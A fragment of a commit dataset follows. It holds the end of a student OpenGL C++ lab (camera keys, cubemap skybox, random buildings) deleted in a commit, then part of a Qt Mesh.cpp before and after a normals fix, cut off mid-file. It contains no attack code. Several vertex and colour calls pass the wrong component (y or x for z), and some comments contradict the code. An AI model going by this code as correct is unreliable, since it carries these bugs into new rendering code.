== GLFW_KEY_W && action == GLFW_PRESS)\r\n\t\tcamera_position.z += CAMERA_MOVEMENT_STEP;\r\n\r\n\tif (key == GLFW_KEY_S && action == GLFW_PRESS)\r\n\t\tcamera_position.z -= CAMERA_MOVEMENT_STEP;\r\n\r\n\tif (key == GLFW_KEY_A && action == GLFW_PRESS)\r\n\t\tcamera_position.x -= CAMERA_MOVEMENT_STEP;\r\n\r\n\tif (key == GLFW_KEY_D && action == GLFW_PRESS)\r\n\t\tcamera_position.x += CAMERA_MOVEMENT_STEP;\r\n\r\n\t\/\/rotate cube\r\n\tif (key == GLFW_KEY_DOWN && action == GLFW_PRESS)\r\n\t\tx_rotation_angle += ANGLE_ROTATION_STEP;\r\n\r\n\tif (key == GLFW_KEY_UP && action == GLFW_PRESS)\r\n\t\tx_rotation_angle -= ANGLE_ROTATION_STEP;\r\n\r\n\tif (key == GLFW_KEY_RIGHT && action == GLFW_PRESS)\r\n\t\ty_rotation_angle += ANGLE_ROTATION_STEP;\r\n\r\n\tif (key == GLFW_KEY_LEFT && action == GLFW_PRESS)\r\n\t\ty_rotation_angle -= ANGLE_ROTATION_STEP;\r\n}\r\n\r\nGLuint loadCubemap(vector<const GLchar*> faces)\r\n{\r\n\tGLuint textureID;\r\n\tglGenTextures(1, &textureID);\r\n\r\n\tint width, height;\r\n\tunsigned char* image;\r\n\r\n\tglBindTexture(GL_TEXTURE_CUBE_MAP, textureID);\r\n\tfor (GLuint i = 0; i < faces.size(); i++)\r\n\t{\r\n\t\timage = SOIL_load_image(faces[i], &width, &height, 0, SOIL_LOAD_RGB);\r\n\t\tglTexImage2D(\r\n\t\t\tGL_TEXTURE_CUBE_MAP_POSITIVE_X + i, 0,\r\n\t\t\tGL_RGB, width, height, 0, GL_RGB, GL_UNSIGNED_BYTE, image\r\n\t\t);\r\n\r\n\t\tSOIL_free_image_data(image); \/\/free resources\r\n\t}\r\n\tglTexParameteri(GL_TEXTURE_CUBE_MAP, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\r\n\tglTexParameteri(GL_TEXTURE_CUBE_MAP, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\r\n\tglTexParameteri(GL_TEXTURE_CUBE_MAP, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\r\n\tglTexParameteri(GL_TEXTURE_CUBE_MAP, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);\r\n\tglTexParameteri(GL_TEXTURE_CUBE_MAP, GL_TEXTURE_WRAP_R, GL_CLAMP_TO_EDGE);\r\n\tglBindTexture(GL_TEXTURE_CUBE_MAP, 0);\r\n\r\n\treturn textureID;\r\n}\r\n\r\nint main()\r\n{ \r\n\tsrand(time(0)); \/\/random number generator seed\r\n\tstd::cout << \"Starting Project Team 2\" << std::endl;\r\n\t\/\/ Init GLFW\r\n\tglfwInit();\r\n\t\/\/ Set all the required options for GLFW\r\n\tglfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3);\r\n\tglfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 3);\r\n\tglfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE);\r\n\tglfwWindowHint(GLFW_SAMPLES, 8);\r\n\tglEnable(GL_MULTISAMPLE);\r\n\r\n\t\/\/ Create a GLFWwindow object that we can use for GLFW's functions\r\n\tGLFWwindow* window = glfwCreateWindow(WINDOW_WIDTH, WINDOW_HEIGHT, \"Cubemaps\", nullptr, nullptr);\r\n\tif (window == nullptr)\r\n\t{\r\n\t\tstd::cout << \"Failed to create GLFW window\" << std::endl;\r\n\t\tglfwTerminate();\r\n\t\treturn -1;\r\n\t}\r\n\tglfwMakeContextCurrent(window);\r\n\t\/\/ Set the required callback functions\r\n\tglfwSetKeyCallback(window, key_callback);\r\n\tglfwSetFramebufferSizeCallback(window, framebuffer_size_callback);\r\n\r\n\t\/\/ Set this to true so GLEW knows to use a modern approach to retrieving function pointers and extensions\r\n\tglewExperimental = GL_TRUE;\r\n\t\/\/ Initialize GLEW to setup the OpenGL Function pointers\r\n\tif (glewInit() != GLEW_OK)\r\n\t{\r\n\t\tstd::cout << \"Failed to initialize GLEW\" << std::endl;\r\n\t\treturn -1;\r\n\t}\r\n\r\n\t\/\/ Define the viewport dimensions\r\n\tint width, height;\r\n\tglfwGetFramebufferSize(window, &width, &height);\r\n\r\n\tglViewport(0, 0, width, height);\r\n\r\n\tglEnable(GL_DEPTH_TEST);\r\n\tglDepthFunc(GL_LESS);\r\n\r\n\tprojection_matrix = glm::perspective(45.0f, (GLfloat)width \/ (GLfloat)height, 0.1f, 1000.0f);\r\n\t\r\n\t\/\/ Build and compile our shader program\r\n\t\/\/ Vertex shader\r\n\r\n\t\/\/ Read the Vertex Shader code from the file\r\n\tstring vertex_shader_path = \"vertex.shader\";\r\n\tstring VertexShaderCode;\r\n\tstd::ifstream VertexShaderStream(vertex_shader_path, ios::in);\r\n\r\n\tif (VertexShaderStream.is_open()) {\r\n\t\tstring Line = \"\";\r\n\t\twhile (getline(VertexShaderStream, Line))\r\n\t\t\tVertexShaderCode += \"\\n\" + Line;\r\n\t\tVertexShaderStream.close();\r\n\t}\r\n\telse {\r\n\t\tprintf(\"Impossible to open %s. Are you in the right directory ?\\n\", vertex_shader_path.c_str());\r\n\t\tgetchar();\r\n\t\texit(-1);\r\n\t}\r\n\r\n\t\/\/ Read the Fragment Shader code from the file\r\n\tstring fragment_shader_path = \"fragment.shader\";\r\n\tstd::string FragmentShaderCode;\r\n\tstd::ifstream FragmentShaderStream(fragment_shader_path, std::ios::in);\r\n\r\n\tif (FragmentShaderStream.is_open()) {\r\n\t\tstd::string Line = \"\";\r\n\t\twhile (getline(FragmentShaderStream, Line))\r\n\t\t\tFragmentShaderCode += \"\\n\" + Line;\r\n\t\tFragmentShaderStream.close();\r\n\t}\r\n\telse {\r\n\t\tprintf(\"Impossible to open %s. Are you in the right directory?\\n\", fragment_shader_path.c_str());\r\n\t\tgetchar();\r\n\t\texit(-1);\r\n\t}\r\n\r\n\tGLuint vertexShader = glCreateShader(GL_VERTEX_SHADER);\r\n\tchar const * VertexSourcePointer = VertexShaderCode.c_str();\r\n\tglShaderSource(vertexShader, 1, &VertexSourcePointer, NULL);\r\n\tglCompileShader(vertexShader);\r\n\t\/\/ Check for compile time errors\r\n\tGLint success;\r\n\tGLchar infoLog[512];\r\n\tglGetShaderiv(vertexShader, GL_COMPILE_STATUS, &success);\r\n\tif (!success)\r\n\t{\r\n\t\tglGetShaderInfoLog(vertexShader, 512, NULL, infoLog);\r\n\t\tstd::cout << \"ERROR::SHADER::VERTEX::COMPILATION_FAILED\\n\" << infoLog << std::endl;\r\n\t}\r\n\t\/\/ Fragment shader\r\n\tGLuint fragmentShader = glCreateShader(GL_FRAGMENT_SHADER);\r\n\tchar const * FragmentSourcePointer = FragmentShaderCode.c_str();\r\n\tglShaderSource(fragmentShader, 1, &FragmentSourcePointer, NULL);\r\n\tglCompileShader(fragmentShader);\r\n\t\/\/ Check for compile time errors\r\n\tglGetShaderiv(fragmentShader, GL_COMPILE_STATUS, &success);\r\n\tif (!success)\r\n\t{\r\n\t\tglGetShaderInfoLog(fragmentShader, 512, NULL, infoLog);\r\n\t\tstd::cout << \"ERROR::SHADER::FRAGMENT::COMPILATION_FAILED\\n\" << infoLog << std::endl;\r\n\t}\r\n\t\/\/ Link shaders\r\n\tGLuint shaderProgram = glCreateProgram();\r\n\tglAttachShader(shaderProgram, vertexShader);\r\n\tglAttachShader(shaderProgram, fragmentShader);\r\n\tglLinkProgram(shaderProgram);\r\n\t\/\/ Check for linking errors\r\n\tglGetProgramiv(shaderProgram, GL_LINK_STATUS, &success);\r\n\tif (!success) {\r\n\t\tglGetProgramInfoLog(shaderProgram, 512, NULL, infoLog);\r\n\t\tstd::cout << \"ERROR::SHADER::PROGRAM::LINKING_FAILED\\n\" << infoLog << std::endl;\r\n\t}\r\n\tglDeleteShader(vertexShader); \/\/free up memory\r\n\tglDeleteShader(fragmentShader);\r\n\r\n\tglUseProgram(shaderProgram);\r\n\r\n\tstd::vector<glm::vec3> vertices;\r\n\tstd::vector<glm::vec3> normals;\r\n\tstd::vector<glm::vec2> UVs;\r\n\r\n\tloadOBJ(\"cube.obj\", vertices, normals, UVs);\r\n\r\n\tGLuint VAO, vertices_VBO, normals_VBO, UVs_VBO;\r\n\r\n\tglGenVertexArrays(1, &VAO);\r\n\tglGenBuffers(1, &vertices_VBO);\r\n\r\n\t\/\/ Bind the Vertex Array Object first, then bind and set vertex buffer(s) and attribute pointer(s).\r\n\tglBindVertexArray(VAO);\r\n\r\n\tglBindBuffer(GL_ARRAY_BUFFER, vertices_VBO);\r\n\tglBufferData(GL_ARRAY_BUFFER, vertices.size() * sizeof(glm::vec3), &vertices.front(), GL_STATIC_DRAW);\r\n\tglVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 3 * sizeof(GLfloat), 0);\r\n\tglEnableVertexAttribArray(0);\r\n\r\n\tglGenBuffers(1, &normals_VBO);\r\n\tglBindBuffer(GL_ARRAY_BUFFER, normals_VBO);\r\n\tglBufferData(GL_ARRAY_BUFFER, normals.size() * sizeof(glm::vec3), &normals.front(), GL_STATIC_DRAW);\r\n\tglVertexAttribPointer(1, 3, GL_FLOAT, GL_FALSE, 3 * sizeof(GLfloat), 0);\r\n\tglEnableVertexAttribArray(1);\r\n\r\n\tglGenBuffers(1, &UVs_VBO);\r\n\tglBindBuffer(GL_ARRAY_BUFFER, UVs_VBO);\r\n\tglBufferData(GL_ARRAY_BUFFER, UVs.size() * sizeof(glm::vec2), &UVs.front(), GL_STATIC_DRAW);\r\n\tglVertexAttribPointer(2, 2, GL_FLOAT, GL_FALSE, 2 * sizeof(GLfloat), 0);\r\n\tglEnableVertexAttribArray(2);\r\n\r\n\tglBindBuffer(GL_ARRAY_BUFFER, 0);\r\n\r\n\tglBindVertexArray(0);\r\n\r\n\tGLuint projectionLoc = glGetUniformLocation(shaderProgram, \"projection_matrix\");\r\n\tGLuint viewMatrixLoc = glGetUniformLocation(shaderProgram, \"view_matrix\");\r\n\tGLuint transformLoc = glGetUniformLocation(shaderProgram, \"model_matrix\");\r\n\r\n\tGLuint drawing_skybox_id = glGetUniformLocation(shaderProgram, \"drawingSkybox\");\r\n\r\n\tglClearColor(0.2f, 0.3f, 0.3f, 1.0f);\r\n\r\n\tglActiveTexture(GL_TEXTURE0); \/\/select texture unit 0\r\n\r\n\tGLuint cube_texture;\r\n\tglGenTextures(1, &cube_texture);\r\n\tglBindTexture(GL_TEXTURE_2D, cube_texture); \/\/bind this texture to the currently bound texture unit\r\n\r\n\t\t\t\t\t\t\t\t\t\t\t\t\/\/ Set the texture wrapping parameters\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT);\r\n\r\n\t\/\/ Set texture wrapping to GL_REPEAT (usually basic wrapping method)\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT);\r\n\r\n\t\/\/ Set texture filtering parameters\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\r\n\r\n\t\/\/ Load image, create texture and generate mipmaps\r\n\tint cube_texture_width, cube_texture_height;\r\n\tunsigned char* cube_image = SOIL_load_image(\"window2.jpg\", &cube_texture_width, &cube_texture_height, 0, SOIL_LOAD_RGB);\r\n\tglTexImage2D(GL_TEXTURE_2D, 0, GL_RGB, cube_texture_width, cube_texture_height, 0, GL_RGB, GL_UNSIGNED_BYTE, cube_image);\r\n\r\n\tSOIL_free_image_data(cube_image); \/\/free resources\r\n\t\r\n\tunsigned char* top_image = SOIL_load_image(\"grass.jpg\", &cube_texture_width, &cube_texture_height, 0, SOIL_LOAD_RGB);\r\n\tglTexImage2D(GL_TEXTURE_2D, 10, GL_RGB, cube_texture_width, cube_texture_height, 10, GL_RGB, GL_UNSIGNED_BYTE, top_image);\r\n\tSOIL_free_image_data(top_image); \/\/free resources\r\n\r\n\r\n\t\/\/Setup our cubemap\r\n\r\n\tvector<const GLchar*> faces;\r\n\tfaces.push_back(\"cube_map\/a.jpg\");\t\/\/right\r\n\tfaces.push_back(\"cube_map\/c.jpg\");\t\/\/ left\r\n\tfaces.push_back(\"cube_map\/top.jpg\");\t\/\/ top\r\n\tfaces.push_back(\"cube_map\/bottom.jpg\");\t\/\/ bottom\r\n\tfaces.push_back(\"cube_map\/b.jpg\");\t\/\/ back\r\n\tfaces.push_back(\"cube_map\/d.jpg\");\t\/\/ front\r\n\r\n\tglActiveTexture(GL_TEXTURE1);\r\n\tGLuint cubemapTexture = loadCubemap(faces);\r\n\tglBindTexture(GL_TEXTURE_CUBE_MAP, cubemapTexture);\r\n\r\n\tglUniform1i(glGetUniformLocation(shaderProgram, \"cubeTexture\"), 0); \/\/cubeTexture should read from texture unit 0\r\n\tglUniform1i(glGetUniformLocation(shaderProgram, \"skybox\"), 1); \/\/sky box should read from texture unit 1\r\n\tglUniform1i(glGetUniformLocation(shaderProgram, \"grassTexture\"), 10); \/\/cubeTexture should read from texture unit 2\r\n\r\n\t\t\t\t\t\t\r\n\t\r\n\t\/\/create 10 buildings\r\n\tfor (int i = 0; i < 1000; i++) {\r\n\t\tcreateBuilding();\r\n\t\tcreateCoordinate();\r\n\t\tcout << \"Create buildings \" << endl;\r\n\t\tcout << \"Map of Coordinate : \" << vecMapCoordinate.size() << endl;\r\n\t\tcout << \"Number of build : \" << vecBuildingSize.size() << endl;\r\n\t\tif (i == 10) {\r\n\t\t\tvecBuildingCoordinate.push_back(glm::vec3(0, -1, 0));\r\n\t\t\tvecBuildingSize.push_back(glm::vec3(100, 0.5, 100));\r\n\t\t}\r\n\t}\r\n\t\r\n\r\n\twhile (!glfwWindowShouldClose(window))\r\n\t{\r\n\t\tglfwPollEvents();\r\n\t\tglClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);\r\n\r\n\t\tglm::mat4 model_matrix;\r\n\t\tmodel_matrix = glm::rotate(model_matrix, y_rotation_angle, glm::vec3(0.0f, 1.0f, 0.0f));\r\n\t\tmodel_matrix = glm::rotate(model_matrix, x_rotation_angle, glm::vec3(1.0f, 0.0f, 0.0f));\r\n\r\n\t\tglm::mat4 view_matrix;\r\n\t\tview_matrix = translate(view_matrix, camera_position);\r\n\r\n\t\tglUniformMatrix4fv(transformLoc, 1, GL_FALSE, glm::value_ptr(model_matrix));\t\t\t\/\/ Model\r\n\t\tglUniformMatrix4fv(projectionLoc, 1, GL_FALSE, glm::value_ptr(projection_matrix));\t\t\/\/ The pespective\r\n\t\tglBindVertexArray(VAO);\r\n\r\n\t\t\/\/Draw the skybox\r\n\r\n\t\tglm::mat4 skybox_view = glm::mat4(glm::mat3(view_matrix)); \/\/remove the translation data\r\n\t\tglUniformMatrix4fv(viewMatrixLoc, 1, GL_FALSE, glm::value_ptr(skybox_view));\r\n\r\n\t\tglDepthMask(GL_FALSE);\r\n\r\n\t\tglUniform1i(drawing_skybox_id, 1); \/\/set the uniform boolean\r\n\t\tglDrawArrays(GL_TRIANGLES, 0, vertices.size());\r\n\r\n\t\tglDepthMask(GL_TRUE);\r\n\r\n\t\t\/\/Draw the textured cube\r\n\r\n\t\t\/\/ Plane and one block\r\n\t\t\r\n\t\t\t\r\n\t\t\t\tglUniformMatrix4fv(transformLoc, 1, GL_FALSE, glm::value_ptr(model_matrix));\r\n\t\t\t\tglUniformMatrix4fv(viewMatrixLoc, 1, GL_FALSE, glm::value_ptr(view_matrix));\r\n\t\t\t\tglUniform1i(drawing_skybox_id, 0); \/\/set the boolean\r\n\t\t\t\tglDrawArrays(GL_TRIANGLES, 0, vertices.size());\r\n\t\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\/\/glBindVertexArray(VAO);\r\n\t\t\/\/cout << vecMapCoordinate.size() << endl;\r\n\t\t\t\tglm::mat4 model_building;\r\n\t\tfor (GLuint i = 0; i < vecBuildingCoordinate.size(); i++) {\r\n\t\t\t\/\/cout << \"im currentoy to draw \" << vecBuildingCoordinate.size() << \" cubes. \" << endl;\r\n\t\t\t\r\n\t\t\tmodel_matrix = glm::translate(model_matrix, vecBuildingCoordinate[i]);\r\n\t\t\tmodel_matrix = glm::scale(model_matrix, vecBuildingSize[i]);\r\n\t\t\tglUniformMatrix4fv(transformLoc, 1, GL_FALSE, glm::value_ptr(model_matrix));\r\n\t\t\t\/\/glUniformMatrix4fv(viewMatrixLoc, 1, GL_FALSE, glm::value_ptr(view_matrix));\r\n\t\t\/\/\tglUniform1i(drawing_skybox_id, 0); \/\/set the boolean\r\n\t\t\tglDrawArrays(GL_TRIANGLES, 0, vertices.size());\r\n\t\t\r\n\t\t}\r\n\r\n\t\tglBindVertexArray(0);\r\n\r\n\t\t\/\/ Swap the screen buffers\r\n\t\tglfwSwapBuffers(window);\r\n\t}\r\n\r\n\tglfwTerminate();\r\n\treturn 0;\r\n}\r\n\/*\r\nMethod : CreateBuilding()\r\nReturn a random size of building\r\n*\/\r\nglm::vec3 createBuilding() {\r\n\t\r\n\tfloat width = randomFloat(1, 2);\t\/\/ x\r\n\tfloat height = randomFloat(1,2);\t\/\/ y\r\n\tfloat depth = randomFloat(1,2);\t\t\/\/ z\r\n\r\n\tcout << \"WIDTH = \" << width << endl;\r\n\tcout << \"depth = \" << depth << endl;\r\n\tcout << \"height = \" << height << endl;\r\n\t\r\n\tglm::vec3 sizeScale = glm::vec3(width, height, depth);\r\n\tvecBuildingSize.push_back(sizeScale);\r\n\t\r\n\treturn sizeScale;\r\n\r\n}\r\nglm::vec3 createColor() {\r\n\t\r\n\tfloat R = rand() % 4;\r\n\tfloat G = rand() % 4;\r\n\tfloat B = rand() % 4;\r\n\r\n\tcout << \"R = \" << R << endl;\r\n\tcout << \"G = \" << G << endl;\r\n\tcout << \"B = \" << B << endl;\r\n\t\r\n\tvecBuildingColor.push_back(glm::vec3(R, G, B));\r\n\tglm::vec3 color = glm::vec3(R, G, B);\r\n\treturn color;\r\n}\r\n\r\nglm::vec3 createCoordinate() {\r\n\t\r\n\tfloat coox = randomFloat(-50,50);\r\n\tfloat cooz = randomFloat(-50, 50);\r\n\tcout << \"coox = \" << coox << endl;\r\n\tcout << \"cooz = \" << cooz << endl;\r\n\r\n\tglm::vec3 coordinate = glm::vec3(coox, 0, cooz);\r\n\tvecBuildingCoordinate.push_back(coordinate);\r\n\treturn coordinate;\r\n\r\n}\r\nfloat randomFloat(float a, float b) {\r\n\tfloat random = ((float)rand()) \/ (float)RAND_MAX;\r\n\tfloat diff = b - a;\r\n\tfloat r = random * diff;\r\n\treturn a + r;\r\n}<commit_msg>Delete Lab7.cpp<commit_after><|endoftext|>"} {"text":"<commit_before>#include <QGLWidget>\n#include \"Mesh.h\"\n#include \"Matrix44.h\"\n#include \"Common.h\"\n\nMesh::Mesh() : triangleColouring(MESH_COLOUR_SAME), geomType(MESH_GEOM_TRIANGLES),\n\tsurfaceTexture(NULL), useSurfaceNormals(false)\n{\n}\n\nMesh::~Mesh()\n{\n}\n\nconst VertexList& Mesh::vertices() const\n{\n\treturn verts;\n}\n\nvoid Mesh::setVertices(const VertexList& newVerts)\n{\n\tverts = newVerts;\n}\n\nconst TriangleList& Mesh::triangles() const\n{\n\treturn tris;\n}\n\nvoid Mesh::setTriangles(const TriangleList& newTris)\n{\n\ttris = newTris;\n}\n\nMesh::Colouring Mesh::colouring() const\n{\n\treturn triangleColouring;\n}\n\nvoid Mesh::setColouring(Mesh::Colouring newColouring)\n{\n\ttriangleColouring = newColouring;\n}\n\nMesh::GeometryType Mesh::geometryType() const\n{\n\treturn geomType;\n}\n\nvoid Mesh::setGeometryType(Mesh::GeometryType newGeomType)\n{\n\tgeomType = newGeomType;\n}\n\nbool Mesh::showingNormals() const\n{\n\treturn drawNormals;\n}\n\nvoid Mesh::showNormals(bool willShow)\n{\n\tdrawNormals = willShow;\n}\n\nTexture* Mesh::texture() const\n{\n\treturn surfaceTexture;\n}\n\nvoid Mesh::setTexture(Texture* newTexture)\n{\n\tsurfaceTexture = newTexture;\n}\n\n\nbool Mesh::usingPerFaceNormals() const\n{\n\treturn useSurfaceNormals;\n}\n\nvoid Mesh::setPerFaceNormals(bool usePerFace)\n{\n\tuseSurfaceNormals = usePerFace;\n}\n\nvoid Mesh::renderVertex(const Vertex& v)\n{\n\tglTexCoord2f(v.texCoord.s, v.texCoord.t);\n\tglNormal3f(v.normal.x, v.normal.y, v.normal.z);\n\tglVertex3f(v.position.x, v.position.y, v.position.y);\n}\n\nvoid Mesh::renderTriangle(const VertexList& verticesToUse, const Triangle& tri)\n{\n\trenderVertex( verticesToUse[tri.v1] );\n\trenderVertex( verticesToUse[tri.v2] );\n\trenderVertex( verticesToUse[tri.v3] );\n}\n\nvoid Mesh::renderPoints(const VertexList& vertices)\n{\n\tglColor3f(1.0f, 1.0f, 1.0f);\n\tglBegin(GL_POINTS);\n\t\tfor (VertexList::const_iterator it = vertices.begin(); (it != vertices.end()); it++)\n\t\t\tglVertex3f(it->position.x, it->position.y, it->position.x);\n\tglEnd();\n}\n\nvoid Mesh::renderLines(const VertexList& vertices, const TriangleList& triangles)\n{\n\tglColor3f(1.0f, 1.0f, 1.0f);\n\tglBegin(GL_LINES);\n\t\tfor (TriangleList::const_iterator it = triangles.begin(); (it != triangles.end()); it++)\n\t\t{\n\t\t\tconst Vertex& v1 = vertices[it->v1];\n\t\t\tconst Vertex& v2 = vertices[it->v2];\n\t\t\tconst Vertex& v3 = vertices[it->v3];\n\t\t\tglVertex3f(v1.position.x, v1.position.y, v1.position.x);\n\t\t\tglVertex3f(v2.position.x, v2.position.y, v2.position.x);\n\t\t\tglVertex3f(v2.position.x, v2.position.y, v2.position.x);\n\t\t\tglVertex3f(v3.position.x, v3.position.y, v3.position.x);\n\t\t\tglVertex3f(v3.position.x, v3.position.y, v3.position.x);\n\t\t\tglVertex3f(v1.position.x, v1.position.y, v1.position.x);\n\t\t}\n\tglEnd();\n}\n\nvoid Mesh::renderTriangles(const VertexList& vertices, const TriangleList& triangles)\n{\n\tglBegin(GL_TRIANGLES);\n\tif (triangleColouring == MESH_ALTERNATING_TRIANGLES)\n\t{\n\t\t\/\/ Whole for-loop put it if-statement so there isn't a branch every iteration (costly operation\n\t\tfor (unsigned int i = 0; (i < triangles.size()); i++)\n\t\t{\n\t\t\tconst Vector3& col = ALTERNATING_TRIANGLE_COLOURS[i % NUM_ALTERNATING_COLOURS];\n\t\t\tglColor3f(col.x, col.y, col.y);\n\t\t\trenderTriangle(vertices, tris[i]);\n\t\t}\n\t}\n\telse\n\t{\n\t\tfor (TriangleList::const_iterator it = triangles.begin(); (it != triangles.end()); it++)\t\n\t\t\trenderTriangle(vertices, *it);\n\t}\n\tglEnd();\n}\n\nvoid Mesh::renderNormals(const VertexList& vertices)\n{\n\tglColor3f(1.0f, 1.0f, 1.0f);\n\tglBegin(GL_LINES);\n\t\tfor (VertexList::const_iterator it = vertices.begin(); (it != vertices.end()); it++)\n\t\t{\n\t\t\tconst Vector3& position = it->position;\n\t\t\tconst Vector3& normal = it->normal;\n\t\t\tVector3 end = position + (normal * NORMAL_SCALING_FACTOR);\n\t\t\tglVertex3f(it->position.x, it->position.y, it->position.z);\n\t\t\tglVertex3f(end.x, end.y, end.y);\t\n\t\t}\n\tglEnd();\n}\n\n\/* Draw a torus *\/\n#include <math.h>\nstatic void torus(int numc, int numt)\n{\n int i, j, k;\n double s, t, x, y, z, twopi;\n\n twopi = 2 * (double)M_PI;\n for (i = 0; i < numc; i++) {\n glBegin(GL_QUAD_STRIP);\n for (j = 0; j <= numt; j++) {\n for (k = 1; k >= 0; k--) {\n s = (i + k) % numc + 0.5;\n t = j % numt;\n\n x = (1+.1*cos(s*twopi\/numc))*cos(t*twopi\/numt);\n y = (1+.1*cos(s*twopi\/numc))*sin(t*twopi\/numt);\n z = .1 * sin(s * twopi \/ numc);\n\n const Vector3& col = ALTERNATING_TRIANGLE_COLOURS[(i * j) % NUM_ALTERNATING_COLOURS];\n glColor3f(col.x, col.y, col.y);\n\n\n glVertex3f(x, y, z);\n }\n }\n glEnd();\n }\n}\n\nvoid Mesh::render()\n{\n\t\/*MatrixMode(GL_MODELVIEW);\n\tglPushMatrix();\n\tglLoadIdentity();\n\tglRotatef(rot.x, 1.0f, 0.0f, 0.0f);\n\tglRotatef(rot.y, 0.0f, 1.0f, 0.0f);\n\tglRotatef(rot.z, 0.0f, 0.0f, 1.0f);\n\ttorus(8, 8);\n\tglPopMatrix();\n\treturn;*\/\n\n\n\t\/\/ If texturing has been enabled, ensure we set the correct OpenGL state\n\tif (triangleColouring == MESH_TEXTURE)\n\t{\n\t\t\/\/ If texture hasn't been loaded yet - load it now!\n\t\t\/\/ This is lazy initialisation\n\t\tif (!surfaceTexture)\n\t\t\tsurfaceTexture = new Texture(\"resources\/world_texture.jpg\");\n\t\tglEnable(GL_TEXTURE_2D);\n\t\tsurfaceTexture->bind();\n\t}\n\n\tglMatrixMode(GL_MODELVIEW);\n\tglPushMatrix();\n\tglLoadIdentity();\n\n\t\/\/ Perform local model transformations on mesh\n\tMatrix44 transformation = Matrix44::translation(pos.x, pos.y, pos.z);\n\ttransformation = transformation * Matrix44::xyzRotation(rot);\n\t\/\/ Transform vertices using position and orientation of drawable\n\tVertexList transformedVerts = verts;\n\t\/\/ If using per-face normals and not per-vertex normals, compute surface normals now\n\tif (useSurfaceNormals)\n\t{\n\t\tVector3List surfaceNormals = computeSurfaceNormals(transformedVerts, tris);\n\t\tfor (int i = 0; (i < surfaceNormals.size()); i++)\n\t\t{\n\t\t\ttransformedVerts[i].normal = surfaceNormals[i];\n\t\t}\n\t}\n\tfor (VertexList::iterator it = transformedVerts.begin(); (it != transformedVerts.end()); it++)\n\t{\n\t\tit->position = transformation * it->position;\n\t\tit->normal = (transformation * it->normal).normalise();\n\t}\n\n\t\/\/ How mesh is drawn depends on geometry type chosen\n\tswitch (geomType)\n\t{\n\tcase MESH_GEOM_POINTS:\n\t\trenderPoints(transformedVerts);\n\t\tbreak;\n\tcase MESH_GEOM_LINES:\n\t\trenderLines(transformedVerts, tris);\n\t\tbreak;\n\tcase MESH_GEOM_TRIANGLES:\n\t\trenderTriangles(transformedVerts, tris);\n\t\tbreak;\n\t}\n\t\/\/ Also draw lines reprensenting vertex normals\n\tif (drawNormals)\n\t{\n\t\trenderNormals(transformedVerts);\n\t}\n\n\n\tglPopMatrix();\n\n\t\/\/ Make sure the mesh's texture is unbinded after rendering\n\tif (triangleColouring == MESH_TEXTURE)\n\t{\n\t\tif (surfaceTexture)\n\t\t\tsurfaceTexture->unbind();\n\t\tglDisable(GL_TEXTURE_2D);\n\t}\n}\n\nVector3List Mesh::computeSurfaceNormals(const VertexList& vertices, const TriangleList& triangles)\n{\n\tVector3List normals;\n\tnormals.resize(vertices.size());\n\n\tfor (TriangleList::const_iterator it = triangles.begin();\n\t\t(it != triangles.end()); it++)\n\t{\n\t\t\/\/ Get two points of the triangle and create two vectors from them (sides of triangle)\n\t\tVector3 s1 = vertices[it->v2].position - vertices[it->v1].position;\n\t\tVector3 s2 = vertices[it->v3].position - vertices[it->v1].position;\n\t\t\/\/ Compute cross product of sides to get surface normal\n\t\tVector3 surfaceNormal = s1.cross(s2).negate().normalise();\n\t\t\/\/ Assign this surface normal to all v\n\t\tnormals[it->v1] = surfaceNormal;\n\t\tnormals[it->v2] = surfaceNormal;\n\t\tnormals[it->v3] = surfaceNormal;\n\t}\n\n\treturn normals;\n}\n<commit_msg>Fixsed freverse normals for flat shading sphere<commit_after>#include <QGLWidget>\n#include \"Mesh.h\"\n#include \"Matrix44.h\"\n#include \"Common.h\"\n\nMesh::Mesh() : triangleColouring(MESH_COLOUR_SAME), geomType(MESH_GEOM_TRIANGLES),\n\tsurfaceTexture(NULL), useSurfaceNormals(false)\n{\n}\n\nMesh::~Mesh()\n{\n}\n\nconst VertexList& Mesh::vertices() const\n{\n\treturn verts;\n}\n\nvoid Mesh::setVertices(const VertexList& newVerts)\n{\n\tverts = newVerts;\n}\n\nconst TriangleList& Mesh::triangles() const\n{\n\treturn tris;\n}\n\nvoid Mesh::setTriangles(const TriangleList& newTris)\n{\n\ttris = newTris;\n}\n\nMesh::Colouring Mesh::colouring() const\n{\n\treturn triangleColouring;\n}\n\nvoid Mesh::setColouring(Mesh::Colouring newColouring)\n{\n\ttriangleColouring = newColouring;\n}\n\nMesh::GeometryType Mesh::geometryType() const\n{\n\treturn geomType;\n}\n\nvoid Mesh::setGeometryType(Mesh::GeometryType newGeomType)\n{\n\tgeomType = newGeomType;\n}\n\nbool Mesh::showingNormals() const\n{\n\treturn drawNormals;\n}\n\nvoid Mesh::showNormals(bool willShow)\n{\n\tdrawNormals = willShow;\n}\n\nTexture* Mesh::texture() const\n{\n\treturn surfaceTexture;\n}\n\nvoid Mesh::setTexture(Texture* newTexture)\n{\n\tsurfaceTexture = newTexture;\n}\n\n\nbool Mesh::usingPerFaceNormals() const\n{\n\treturn useSurfaceNormals;\n}\n\nvoid Mesh::setPerFaceNormals(bool usePerFace)\n{\n\tuseSurfaceNormals = usePerFace;\n}\n\nvoid Mesh::renderVertex(const Vertex& v)\n{\n\tglTexCoord2f(v.texCoord.s, v.texCoord.t);\n\tglNormal3f(v.normal.x, v.normal.y, v.normal.z);\n\tglVertex3f(v.position.x, v.position.y, v.position.y);\n}\n\nvoid Mesh::renderTriangle(const VertexList& verticesToUse, const Triangle& tri)\n{\n\trenderVertex( verticesToUse[tri.v1] );\n\trenderVertex( 